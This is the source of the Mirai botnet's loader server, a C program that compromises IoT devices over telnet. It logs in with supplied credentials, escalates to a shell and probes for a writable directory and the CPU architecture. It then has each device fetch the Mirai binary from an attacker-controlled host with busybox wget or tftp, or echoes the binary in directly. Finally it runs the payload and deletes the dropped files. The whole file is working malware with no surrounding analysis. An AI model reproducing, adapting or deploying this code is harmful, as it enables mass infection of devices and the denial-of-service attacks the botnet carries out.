Mirai-Source-Code/loader/src/server.c

641 lines
24 KiB
C
Executable File

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/epoll.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <sched.h>
#include <errno.h>
#include "headers/includes.h"
#include "headers/server.h"
#include "headers/telnet_info.h"
#include "headers/connection.h"
#include "headers/binary.h"
#include "headers/util.h"
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)
{
struct server *srv = calloc(1, sizeof (struct server));
struct server_worker *workers = calloc(threads, sizeof (struct server_worker));
int i;
// Fill out the structure
srv->bind_addrs_len = addr_len;
srv->bind_addrs = addrs;
srv->max_open = max_open;
srv->wget_host_ip = wghip;
srv->wget_host_port = wghp;
srv->tftp_host_ip = thip;
srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));
srv->workers = calloc(threads, sizeof (struct server_worker));
srv->workers_len = threads;
if (srv->estab_conns == NULL)
{
printf("Failed to allocate establisted_connections array\n");
exit(0);
}
// Allocate locks internally
for (i = 0; i < max_open * 2; i++)
{
srv->estab_conns[i] = calloc(1, sizeof (struct connection));
if (srv->estab_conns[i] == NULL)
{
printf("Failed to allocate connection %d\n", i);
exit(-1);
}
pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);
}
// Create worker threads
for (i = 0; i < threads; i++)
{
struct server_worker *wrker = &srv->workers[i];
wrker->srv = srv;
wrker->thread_id = i;
if ((wrker->efd = epoll_create1(0)) == -1)
{
printf("Failed to initialize epoll context. Error code %d\n", errno);
free(srv->workers);
free(srv);
return NULL;
}
pthread_create(&wrker->thread, NULL, worker, wrker);
}
pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);
return srv;
}
void server_destroy(struct server *srv)
{
if (srv == NULL)
return;
if (srv->bind_addrs != NULL)
free(srv->bind_addrs);
if (srv->workers != NULL)
free(srv->workers);
free(srv);
}
void server_queue_telnet(struct server *srv, struct telnet_info *info)
{
while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)
{
sleep(1);
}
ATOMIC_INC(&srv->curr_open);
if (srv == NULL)
printf("srv == NULL 3\n");
server_telnet_probe(srv, info);
}
void server_telnet_probe(struct server *srv, struct telnet_info *info)
{
int fd = util_socket_and_bind(srv);
struct sockaddr_in addr;
struct connection *conn;
struct epoll_event event;
int ret;
struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
if (fd == -1)
{
if (time(NULL) % 10 == 0)
{
printf("Failed to open and bind socket\n");
}
ATOMIC_DEC(&srv->curr_open);
return;
}
while (fd >= (srv->max_open * 2))
{
printf("fd too big\n");
conn->fd = fd;
#ifdef DEBUG
printf("Can't utilize socket because client buf is not large enough\n");
#endif
connection_close(conn);
return;
}
if (srv == NULL)
printf("srv == NULL 4\n");
conn = srv->estab_conns[fd];
memcpy(&conn->info, info, sizeof (struct telnet_info));
conn->srv = srv;
conn->fd = fd;
connection_open(conn);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = info->addr;
addr.sin_port = info->port;
ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
if (ret == -1 && errno != EINPROGRESS)
{
printf("got connect error\n");
}
event.data.fd = fd;
event.events = EPOLLOUT;
epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
}
static void bind_core(int core)
{
pthread_t tid = pthread_self();
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)
printf("Failed to bind to core %d\n", core);
}
static void *worker(void *arg)
{
struct server_worker *wrker = (struct server_worker *)arg;
struct epoll_event events[128];
bind_core(wrker->thread_id);
while (TRUE)
{
int i, n = epoll_wait(wrker->efd, events, 127, -1);
if (n == -1)
perror("epoll_wait");
for (i = 0; i < n; i++)
handle_event(wrker, &events[i]);
}
}
static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
{
struct connection *conn = wrker->srv->estab_conns[ev->data.fd];
if (conn->fd == -1)
{
conn->fd = ev->data.fd;
connection_close(conn);
return;
}
if (conn->fd != ev->data.fd)
{
printf("yo socket mismatch\n");
}
// Check if there was an error
if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)
{
#ifdef DEBUG
if (conn->open)
printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd);
#endif
connection_close(conn);
return;
}
// Are we ready to write?
if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)
{
struct epoll_event event;
int so_error = 0;
socklen_t len = sizeof(so_error);
getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
if (so_error)
{
#ifdef DEBUG
printf("[FD%d] Connection refused\n", ev->data.fd);
#endif
connection_close(conn);
return;
}
#ifdef DEBUG
printf("[FD%d] Established connection\n", ev->data.fd);
#endif
event.data.fd = conn->fd;
event.events = EPOLLIN | EPOLLET;
epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);
conn->state_telnet = TELNET_READ_IACS;
conn->timeout = 30;
}
if (!conn->open)
{
printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet);
}
// Is there data to read?
if (ev->events & EPOLLIN && conn->open)
{
int ret;
conn->last_recv = time(NULL);
while (TRUE)
{
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret <= 0)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
if (conn->open)
printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno);
#endif
connection_close(conn);
}
break;
}
#ifdef DEBUG
printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos);
#endif
conn->rdbuf_pos += ret;
conn->last_recv = time(NULL);
if (conn->rdbuf_pos > 8196)
{
printf("oversized buffer pointer!\n");
abort();
}
while (TRUE)
{
int consumed;
switch (conn->state_telnet)
{
case TELNET_READ_IACS:
consumed = connection_consume_iacs(conn);
if (consumed)
conn->state_telnet = TELNET_USER_PROMPT;
break;
case TELNET_USER_PROMPT:
consumed = connection_consume_login_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.user);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_PASS_PROMPT;
}
break;
case TELNET_PASS_PROMPT:
consumed = connection_consume_password_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.pass);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
}
break;
case TELNET_WAITPASS_PROMPT:
if ((consumed = connection_consume_prompt(conn)) > 0)
{
util_sockprintf(conn->fd, "enable\r\n");
util_sockprintf(conn->fd, "shell\r\n");
util_sockprintf(conn->fd, "sh\r\n");
conn->state_telnet = TELNET_CHECK_LOGIN;
}
break;
case TELNET_CHECK_LOGIN:
if ((consumed = connection_consume_prompt(conn)) > 0)
{
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_VERIFY_LOGIN;
}
break;
case TELNET_VERIFY_LOGIN:
consumed = connection_consume_verify_login(conn);
if (consumed)
{
ATOMIC_INC(&wrker->srv->total_logins);
#ifdef DEBUG
printf("[FD%d] Succesfully logged in\n", ev->data.fd);
#endif
util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_PS;
}
break;
case TELNET_PARSE_PS:
if ((consumed = connection_consume_psoutput(conn)) > 0)
{
util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_MOUNTS;
}
break;
case TELNET_PARSE_MOUNTS:
consumed = connection_consume_mounts(conn);
if (consumed)
conn->state_telnet = TELNET_READ_WRITEABLE;
break;
case TELNET_READ_WRITEABLE:
consumed = connection_consume_written_dirs(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir);
#endif
util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir);
util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_COPY_ECHO;
conn->timeout = 120;
}
break;
case TELNET_COPY_ECHO:
consumed = connection_consume_copy_op(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd);
#endif
if (!conn->info.has_arch)
{
conn->state_telnet = TELNET_DETECT_ARCH;
conn->timeout = 120;
// DO NOT COMBINE THESE
util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n");
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
}
else
{
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->timeout = 15;
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
}
}
break;
case TELNET_DETECT_ARCH:
consumed = connection_consume_arch(conn);
if (consumed)
{
conn->timeout = 15;
if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)
{
#ifdef DEBUG
printf("[FD%d] Cannot determine architecture\n", conn->fd);
#endif
connection_close(conn);
}
else if (strcmp(conn->info.arch, "arm") == 0)
{
#ifdef DEBUG
printf("[FD%d] Determining ARM sub-type\n", conn->fd);
#endif
util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_ARM_SUBTYPE;
}
else
{
#ifdef DEBUG
printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch);
#endif
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
}
}
break;
case TELNET_ARM_SUBTYPE:
if ((consumed = connection_consume_arm_subtype(conn)) > 0)
{
struct binary *bin = binary_get_by_arch(conn->info.arch);
if (bin == NULL)
{
#ifdef DEBUG
printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd);
#endif
}
else
conn->bin = bin;
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
}
break;
case TELNET_UPLOAD_METHODS:
consumed = connection_consume_upload_methods(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Upload method is ", conn->fd);
#endif
switch (conn->info.upload_method)
{
case UPLOAD_ECHO:
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
#ifdef DEBUG
printf("echo\n");
#endif
break;
case UPLOAD_WGET:
conn->state_telnet = TELNET_UPLOAD_WGET;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
#ifdef DEBUG
printf("wget\n");
#endif
break;
case UPLOAD_TFTP:
conn->state_telnet = TELNET_UPLOAD_TFTP;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
#ifdef DEBUG
printf("tftp\n");
#endif
break;
}
}
break;
case TELNET_UPLOAD_ECHO:
consumed = connection_upload_echo(conn);
if (consumed)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished echo loading!\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_echoes);
}
break;
case TELNET_UPLOAD_WGET:
consumed = connection_upload_wget(conn);
if (consumed)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished wget loading\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_wgets);
}
break;
case TELNET_UPLOAD_TFTP:
consumed = connection_upload_tftp(conn);
if (consumed > 0)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished tftp loading\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_tftps);
}
else if (consumed < -1) // Did not have permission to TFTP
{
#ifdef DEBUG
printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd);
#endif
consumed *= -1;
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->info.upload_method = UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
}
break;
case TELNET_RUN_BINARY:
if ((consumed = connection_verify_payload(conn)) > 0)
{
if (consumed >= 255)
{
conn->success = TRUE;
#ifdef DEBUG
printf("[FD%d] Succesfully ran payload\n", conn->fd);
#endif
consumed -= 255;
}
else
{
#ifdef DEBUG
printf("[FD%d] Failed to execute payload\n", conn->fd);
#endif
if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0)
{
conn->echo_load_pos = 0;
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
conn->bin = binary_get_by_arch(conn->info.arch);
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->retry_bin = TRUE;
break;
}
}
#ifndef DEBUG
util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n");
#else
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
#endif
conn->state_telnet = TELNET_CLEANUP;
conn->timeout = 10;
}
break;
case TELNET_CLEANUP:
if ((consumed = connection_consume_cleanup(conn)) > 0)
{
int tfd = conn->fd;
connection_close(conn);
#ifdef DEBUG
printf("[FD%d] Cleaned up files\n", tfd);
#endif
}
default:
consumed = 0;
break;
}
if (consumed == 0) // We didn't consume any data
break;
else
{
if (consumed > conn->rdbuf_pos)
{
consumed = conn->rdbuf_pos;
//printf("consuming more then our position!\n");
//abort();
}
conn->rdbuf_pos -= consumed;
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
conn->rdbuf[conn->rdbuf_pos] = 0;
}
if (conn->rdbuf_pos > 8196)
{
printf("oversized buffer! 2\n");
abort();
}
}
}
}
}
static void *timeout_thread(void *arg)
{
struct server *srv = (struct server *)arg;
int i, ct;
while (TRUE)
{
ct = time(NULL);
for (i = 0; i < (srv->max_open * 2); i++)
{
struct connection *conn = srv->estab_conns[i];
if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)
{
#ifdef DEBUG
printf("[FD%d] Timed out\n", conn->fd);
#endif
if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0)
{
conn->last_recv = time(NULL);
util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n");
conn->ctrlc_retry = TRUE;
conn->echo_load_pos = 0;
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
conn->bin = binary_get_by_arch(conn->info.arch);
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->retry_bin = TRUE;
} else {
connection_close(conn);
}
} else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)
{
conn->output_buffer.deadline = 0;
util_sockprintf(conn->fd, conn->output_buffer.data);
}
}
sleep(1);
}
}